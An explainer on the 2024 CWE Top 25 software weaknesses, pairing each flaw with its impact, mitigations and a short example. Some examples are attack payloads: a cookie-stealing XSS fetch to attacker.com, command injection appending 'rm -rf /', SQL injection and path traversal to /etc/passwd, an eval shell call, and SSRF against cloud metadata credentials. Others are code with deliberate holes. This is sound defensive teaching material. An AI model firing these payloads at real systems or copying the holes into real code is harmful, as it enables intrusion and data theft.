

2024 CWE Top 25 Most Dangerous Software Weaknesses

1. CWE-79 – Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

What it is

The app **doesn't correctly neutralize user input** before putting it into a web page. Attacker-controlled HTML/JS ends up running in the victim's browser. (CWE)

Impact

- Steal cookies, session tokens, JWTs → account takeover.
- Run arbitrary JS: keylogging, fake login forms, redirect to phishing/malware.
- Spread worms in internal portals (stored XSS in comments, chats, etc.).

Mitigation

- **Output encoding** based on context (HTML body, attribute, JS, URL).
- Use frameworks that **auto-escape** output (e.g., React, Django templates).
- Strong **Content Security Policy (CSP)** to reduce blast radius.
- Avoid dangerous sinks (`innerHTML` , `document.write` , `eval`) with untrusted data.

Example

A search page reflects `q` parameter directly:

```
<p>You searched for: <?php echo $_GET['q']; ?></p>
```

Payload: `?q=<script>fetch('https://attacker.com/'+document.cookie)</script>`

2. CWE-787 – Out-of-Bounds Write

What it is

Code writes data **past the end or before the beginning** of a memory buffer. (CWE)

Impact

- Memory corruption → remote code execution (RCE).
- Data corruption, crashes, sandbox escape.
- Often used in modern browser/OS exploits.

Mitigation

- Use **safe languages** (Rust, Go, Java) where possible.
- In C/C++: perform strict **bounds checks**; use `snprintf`, `strncpy`, etc.
- Enable **compiler protections**: stack canaries, ASLR, DEP, `stack-protector`.
- Fuzzing and sanitizers (ASAN, UBSAN) in CI.

Example

```
char buf[10];
for (int i = 0; i <= 10; i++) { // off-by-one
    buf[i] = input[i];
}
```

`i == 10` writes past the buffer, corrupting adjacent memory.

3. CWE-89 – Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

What it is

User input is concatenated into SQL strings **without parameterization**, allowing attackers to alter the query. (CWE)

Impact

- Dump or modify entire database.
- Bypass authentication: `admin'--`.
- Destroy data or escalate to OS-level access via DB features.

Mitigation

- Always use **prepared statements** / parameterized queries.

- Avoid building SQL via string concatenation.
- Apply least privilege to DB users (no `DROP TABLE` on read-only account).
- Input validation (e.g., numeric-only IDs).

Example

```
query = "SELECT * FROM users WHERE username='" + user + "' AND pw
       ='" + pw + "'"
```

Password input: `' OR '1'='1` → bypass login.

4. CWE-352 – Cross-Site Request Forgery (CSRF)

What it is

The app **cannot verify that a state-changing request is intentional** by the user, so a malicious site can trick the browser into sending it. ([CWE](#))

Impact

- Change email, password, or perform money transfers.
- Change role/permissions, delete data.
- Often combined with XSS for full automation.

Mitigation

- CSRF tokens in forms and AJAX requests.
- `SameSite=Lax/Strict` cookies for sessions.
- Re-authentication for sensitive actions.
- Require POST for state changes, check `Origin` / `Referer`.

Example

Bank transfer form with no token; attacker sends:

```

```

If user is logged in, the browser auto-sends cookies.

5. CWE-22 – Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

What it is

App **allows `../` in paths** or otherwise fails to confine file access to a restricted directory. (CWE)

Impact

- Read sensitive files: `/etc/passwd`, config, source code.
- In some cases, overwrite configs or scripts → RCE.
- Info-disclosure to chain with other attacks.

Mitigation

- Normalize and resolve path, then ensure it stays under allowed base dir.
- Use server-side mapping (`id → path`) rather than raw filenames.
- Reject `..`, absolute paths, and unexpected separators.

Example

```
filename = request.args['file']  
return send_file("/var/www/files/" + filename)
```

Payload: `file=../../../../etc/passwd` → OS file disclosure.

6. CWE-125 – Out-of-Bounds Read

What it is

Code reads **beyond the valid buffer bounds**, often due to incorrect index/length checks. (CWE)

Impact

- Leaks memory contents: keys, tokens, stack addresses.
- Often used to defeat ASLR or get secrets (Heartbleed-style bugs).

Mitigation

- Strict bounds checking for all reads.
- Use safe container APIs (checked indexing).
- Fuzz testing to catch edge cases.

Example

Length field from user says "64", but buffer only holds 16 bytes; function reads past end into adjacent memory.

7. CWE-78 – Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

What it is

Application builds an **OS command using unsanitized input** and executes it via shell (`system` , `exec` , `popen` , etc.). (CWE)

Impact

- Arbitrary OS commands with app's privileges.
- Download/run malware, pivot into internal network.
- Total system compromise if app runs as root.

Mitigation

- Avoid shell; use APIs that don't invoke shell (e.g., `execve` with argument array).
- Strict allowlists (only specific flags/values).
- Escape/quote values if shell is unavoidable.
- Run with least privileges, sandbox where possible.

Example

```
$ip = $_GET['ip'];  
system("ping -c 4 " . $ip);
```

Payload: `8.8.8.8; rm -rf /` (or more realistic reverse shell).

8. CWE-416 – Use After Free

What it is

Code uses a pointer **after freeing its memory**, causing access to memory that may now hold something else. (CWE)

Impact

- Memory corruption → RCE.
- Crashes, unpredictable behavior.
- Frequently exploited in browsers, PDF readers, etc.

Mitigation

- Set pointers to `NULL` right after free.
- Use smart pointers / ownership models (C++ RAII, Rust).
- Static analysis and AddressSanitizer.

Example

```
char *p = malloc(10);
free(p);
strcpy(p, "hello"); // use after free
```

9. CWE-862 – Missing Authorization

What it is

The app **never checks permissions** for some actions/resources. It only assumes that "if user is authenticated, it's fine". (CWE)

Impact

- Any logged-in user can perform admin or other users' actions.
- Horizontal and vertical privilege escalation.

Mitigation

- Enforce **authorization checks per action**, not just per app.
- Centralize authorization (middleware, policy engine).
- Use role/attribute-based access control (RBAC/ABAC).

Example

`/admin/deleteUser?id=123` checks if user is logged in, but not if they're an admin → normal users can delete accounts.

10. CWE-434 – Unrestricted Upload of File with Dangerous Type

What it is

App allows upload of **dangerous types** (e.g., `.php`, `.jsp`) that are then executed or processed. (CWE)

Impact

- Web shell upload → remote command execution.
- Malware hosting, defacement.

Mitigation

- Store uploads **outside webroot**; serve via download handler.
- Strict extension & MIME allowlist (e.g., only `.jpg`, `.png`).
- Check file signatures (magic bytes), scan with AV.
- Randomize filenames; never trust client-side file type.

Example

Profile picture upload accepts any file; attacker uploads `shell.php` and accesses `/uploads/shell.php`.

11. CWE-94 – Improper Control of Generation of Code ('Code Injection')

What it is

App constructs code (script, expression, template) using user input and executes it, **without controlling syntax or special elements**. (CWE)

Impact

- RCE in interpreter (Python, PHP, JS, template engines).
- Full compromise of app/data.

Mitigation

- Avoid `eval`, `Function`, `exec`, `CreateObject` on untrusted data.
- If dynamic behavior is required, use **safe interpreters / DSLs**.
- Use hard-coded mappings instead of dynamic evaluation.

Example

```
expr = input("Enter math: ")
print(eval(expr)) # attacker enters __import__('os').system('id')
```

12. CWE-20 – Improper Input Validation

What it is

App **accepts data without checking type, length, format, or range**. It's a broad root cause for many bugs. ([CWE](#))

Impact

- Leads to injection, overflows, logic bypass, etc.
- Can be chained with many other CWEs.

Mitigation

- Treat all external data as untrusted.
- Apply **whitelists**: regex for emails, numeric ranges, strict JSON schemas.
- Validate in backend (never rely only on frontend).

Example

Purchase API trusts `price` from client; attacker sends negative or tiny value → buys items for free.

13. CWE-77 – Improper Neutralization of Special Elements used in a Command ('Command Injection')

What it is

Like CWE-78 but more generic: constructing any sort of **command line string** with untrusted input and failing to neutralize metacharacters. ([CWE](#))

Impact / Mitigation

Same style as CWE-78: attackers break out of intended command and append their own; fix by using safe APIs, allowlists, and proper escaping.

Example

```
backup_db "$FILENAME"
```

If `$FILENAME` is from user input and not validated, `"; rm -rf /"` can be injected.

14. CWE-287 – Improper Authentication

What it is

Authentication process **does not prove identity properly**. (CWE)

Impact

- Login bypass, impersonation.
- Abuse of SSO/OAuth misconfigurations to become another user.

Mitigation

- Use proven auth frameworks; avoid “roll your own”.
- Secure password storage (bcrypt/argon2).
- Critical endpoints should require valid, non-replayable tokens.
- Secure configuration of OAuth/OIDC (validate issuer, audience, nonce).

Example

Password reset link doesn't use random token; it uses only email address → attacker can guess URL.

15. CWE-269 – Improper Privilege Management

What it is

System **assigns or maintains privileges incorrectly** (wrong role, wrong process privileges). (CWE)

Impact

- Local or remote privilege escalation.
- One compromised component has much more power than intended.

Mitigation

- Principle of least privilege for users, services, and processes.
- Drop elevated privileges immediately after privileged actions.
- Regular reviews of roles, sudo rules, ACLs.

Example

Web server runs as root and writes logs to arbitrary paths; path traversal + log poisoning → root-owned file overwrite.

16. CWE-502 – Deserialization of Untrusted Data

What it is

App **deserializes untrusted data** into complex objects, enabling gadget chains or unexpected behavior. (CWE)

Impact

- RCE (classic Java/PHP object injection).
- Bypass of authentication/authorization if objects contain security state.

Mitigation

- Avoid native object deserialization for untrusted input.
- Use simple formats (JSON) with strict schema and manual mapping.
- Limit allowed classes/types in deserialization libraries.

Example

Java app deserializes a base64 cookie using `ObjectInputStream`; attacker sends gadget payload → RCE.

17. CWE-200 – Exposure of Sensitive Information to an Unauthorized Actor

What it is

App **leaks sensitive info** to someone who shouldn't see it (through responses, logs, debug endpoints). (CWE)

Impact

- Credential/API key leaks.
- PII or business data exposure (compliance issues).
- Gives attackers context to chain more attacks.

Mitigation

- Classify data and define who can access what.
- Scrub logs and error messages (no passwords, tokens).
- Secure configs, turn off debug in production.

Example

API error returns full stack trace plus DB connection string with password.

18. CWE-863 – Incorrect Authorization

What it is

App **does perform an authorization check, but does it wrong** (on wrong resource, wrong user, wrong condition). ([CWE](#))

Impact

- Privilege escalation even though "checks exist".
- Subtle access control bugs that are easy to miss in code reviews.

Mitigation

- Centralized, testable authorization policy.
- Test with multiple user roles for each sensitive endpoint.
- Avoid duplicating authorization logic in many places.

Example

App checks `user.is_admin` before updating *any* record, but it doesn't check that the user has access to that specific tenant/project.

19. CWE-918 – Server-Side Request Forgery (SSRF)

What it is

Server makes HTTP requests to a **user-controlled URL** without ensuring it's going to allowed destinations only. ([CWE](#))

Impact

- Access internal services (`localhost` , internal hosts).
- Access cloud metadata endpoints (`169.254.169.254`) to steal creds.
- Port-scanning internal network via error responses.

Mitigation

- Allowlist of domains/IPs; block private / link-local ranges.
- Use separate egress networks or proxies with filtering.
- Strip redirects or restrict to same hosts.

Example

"Import from URL" feature allows <http://169.254.169.254/latest/meta-data/iam/security-credentials/> → steals AWS IAM role creds.

20. CWE-119 – Improper Restriction of Operations within the Bounds of a Memory Buffer

What it is

Generic **buffer boundary** issue: code reads/writes outside intended memory buffer, parent of specific overflows. (CWE)

Impact

- RCE, crashes, info leaks.
- Foundation of many classic exploitation techniques.

Mitigation

- Same family as 787/125: safe languages, bounds checks, fuzzing, sanitizers.
- Use standard container types instead of raw pointers.

Example

Parsing network packets with user-supplied length fields but trusting them blindly.

21. CWE-476 – NULL Pointer Dereference

What it is

Code dereferences a **NULL pointer**, usually when an error wasn't handled and a pointer wasn't validated. (CWE)

Impact

- Usually DoS (crash).
- May help attackers in specific memory layouts.

Mitigation

- Check pointers before use, especially for allocation/lookup results.
- Defensive coding patterns and static analysis.

Example

```
struct item *i = find_item(id);  
printf("%s\n", i->name); // i may be NULL
```

22. CWE-798 – Use of Hard-coded Credentials

What it is

App contains **embedded passwords/keys** in code, config, firmware. ([CWE](#))

Impact

- Once leaked or reverse-engineered, attacker can:
 - Log into app, DB, or admin panel.
 - Reuse creds across many installations/devices.

Mitigation

- Use **secret management** systems (Vault, cloud secret managers).
- Inject secrets via environment/config at deploy time.
- Rotate keys regularly; scan repos for leaked secrets.

Example

```
String DB_USER = "root";  
String DB_PASS = "SuperSecret123";
```

If repo leaks, DB is exposed.

23. CWE-190 – Integer Overflow or Wraparound

What it is

Arithmetic operation exceeds max/min of integer type, causing **wraparound or truncation**. ([CWE](#))

Impact

- Wrong size calculations → buffer overflow.
- Negative indexes/lengths used as huge positive values.
- Bypass security checks anchored on integer values.

Mitigation

- Use checked arithmetic (libraries or language support).
- Validate ranges before arithmetic.
- Use larger integer types when appropriate.

Example

```
uint32_t len = user_len * 4; // overflow if user_len is large
char *buf = malloc(len);
```

Overflow makes `len` small; write assumes it's big → overflow.

24. CWE-400 – Uncontrolled Resource Consumption

What it is

App doesn't limit usage of critical resources (CPU, memory, disk, bandwidth), letting an attacker **exhaust them**. ([CWE](#))

Impact

- DoS: app or entire server becomes unavailable.
- Can cascade across microservices.

Mitigation

- **Rate limiting**, quotas, per-user/per-IP throttling.
- Max request sizes, timeouts, and connection limits.
- Backpressure in queues; circuit breakers between services.

Example

API accepts unlimited JSON body; attacker sends giant payload repeatedly → memory exhaustion.

25. CWE-306 – Missing Authentication for Critical Function

What it is

Critical functions **don't require authentication at all**. ([CWE](#))

Impact

- Any unauthenticated user can perform destructive or sensitive actions.

- Sometimes a single request = full system compromise.

Mitigation

- Identify all critical actions (money movement, config changes, user management).
- Enforce **authentication plus authorization**.
- Network-level controls for admin endpoints (VPN, IP allowlists, MFA).

Example

`/resetPassword?user=admin` open on the internet without auth → anyone can reset admin password.